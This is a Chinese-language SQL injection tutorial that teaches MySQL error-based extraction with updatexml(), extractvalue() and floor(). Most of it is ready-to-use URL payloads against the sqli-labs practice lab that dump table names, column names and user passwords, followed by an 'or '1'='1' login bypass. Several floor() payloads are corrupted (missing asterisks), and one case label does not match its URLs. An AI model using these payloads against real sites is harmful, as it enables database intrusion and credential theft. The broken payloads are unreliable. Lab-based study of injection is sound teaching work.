常用的三种报错函数
1.原理
在 MYSQL 中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,
在语法发生错误会输出在前端,从而从报错信息中获取设定的信息。
select/insert/update/delete 都可以使用报错来获取信息。
2.步骤
第一步:先判断是否存在漏洞
第二步:构造错误的语法,使用对应的报错函数:
updatexml(),extractvalue(),floor() ,exp()
第三步:爆表名
第四步:爆字段
第五步:爆数据名
第六步:报数据值
3.函数
1.updatexml()函数
• updatexml()函数是 MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数;
①Xml:可扩展语言;
②update():函数更新。
③组合,具有查询功能的函数,用于查询xpath。
• payload:updatexml(Xml_document,Xpathstring,new_value)
①xml_document:xml标记
②Xpathstring:显示输入语句
③new_value:新值
• 具体用法:updatexml(1,concat(0x7e,(select database()),0x7e),1)
• 案例1:
以sqli-labs的环境的less-1为例
①判断漏洞类型:
http://127.0.0.1/sqli-labs/Less-1/?id=1
http://127.0.0.1/sqli-labs/Less-1/?id=1’
http://127.0.0.1/sqli-labs/Less-1/?id=1’ and 1=1 #
http://127.0.0.1/sqli-labs/Less-1/?id=1’ and 1=2 #
②爆数据库名
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ and updatexml(1,concat(0x7e,(database()),0x7e),1) #
③爆数据库表名
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) #
④报字段名
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1) #
⑤数据值
http://127.0.0.1/sqli-labs/Less-1/?id=1’ and updatexml(1,substring(concat(0x7e,(select group_concat(username,0x3a,password,0x3a) from security.users),0x7e),32,64),1) #
2.extractvalue()函数
• extractvalue()函数也是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数;
• Payload:extractvalue(xml_document,concat(0x7e,concat(database())))
• 具体用法:extractvalue(1,concat(0x7e,(select database())))
案例2:
以sqli-labs的less-11为准
①爆数据库名:
http://127.0.0.1/sqli-labs/Less-2/?id=-1’ union select 1,(extractvalue(1,concat(0x7e,(select database())))) #
结果:库名security
②爆数据库表名
http://127.0.0.1/sqli-labs/Less-2/?id=-1’ union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)))) #
结果:表名emails,referers,uagents,users
③爆字段名
http://127.0.0.1/sqli-labs/Less-2/?id=-1’union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)))) #
结果字段名id,username,password
④爆数据值
http://127.0.0.1/sqli-labs/Less-2/?id=-1’union select 1,(extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from security.users)))) #
结果数据值有:1:Dumb:Dumb,2:Angelina:I-kill-y
3.floor()函数
• floor()函数是 MYSQL 中用来取整的函数。
• 具体用法:
(select 1 from (select count(*),concat(version(),
floor(rand(0)*2))x from information_schema.tables group by x)a)#
案列3:
以sqli-labs的环境的less-1为例
①爆数据库名:
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ and (select 1 from (select count(*),concat(database(),floor(rand(0)2))x from information_schema.tables group by x)a)–+
②爆数据库表名
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ and (select 1 from (select count(),concat((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),floor(rand(0)2))x from information_schema.tables group by x)a)–+
③爆字段名
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ and (select 1 from (select count(),concat((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)–+
④爆数据值
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ and (select 1 from (select count(),concat((select concat(id,username,password) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+
错误点:1.group_concat与substring,limit同时用没有意义,但是也可以一起用
2.subtring(string,m,n);其中m是第m个,n是提取长度
3.还可以用not in,可以实现对数据库内容的遍历
课外补充
3.优先级比较 = > and > or
例:万能密码:
将 or ‘1’=’1 ’输入到passwd里,可以直接登录
将 or ‘1’=’1 ’# 输入到用户里,可以直接登录